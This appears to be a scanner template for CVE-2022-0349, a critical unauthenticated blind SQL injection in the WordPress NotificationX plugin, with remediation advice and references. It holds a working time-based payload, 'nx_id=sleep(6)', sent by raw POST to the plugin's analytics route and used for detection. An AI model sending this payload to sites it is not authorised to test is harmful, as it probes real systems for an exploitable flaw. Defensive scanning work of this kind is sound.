WordPress NotificationX <2.3.9 - SQL Injection

id: CVE-2022-0349

info:
  name: WordPress NotificationX <2.3.9 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    WordPress NotificationX plugin prior to 2.3.9 contains a SQL injection vulnerability. The plugin does not sanitize and escape the nx_id parameter before using it in a SQL statement, leading to an unauthenticated blind SQL injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Update to the latest version of the WordPress NotificationX plugin (2.3.9 or higher) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1d0dd7be-29f3-4043-a9c6-67d02746463a
    - https://wordpress.org/plugins/notificationx/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0349
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0349
    cwe-id: CWE-89
    epss-score: 0.02414
    epss-percentile: 0.89914
    cpe: cpe:2.3:a:wpdeveloper:notificationx:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpdeveloper
    product: notificationx
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,notificationx,wpscan,wpdeveloper

http:
  - raw:
      - |
        @timeout: 15s
        POST /?rest_route=/notificationx/v1/analytics HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nx_id=sleep(6) -- x

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "\"data\":{\"success\":true}")'
        condition: and
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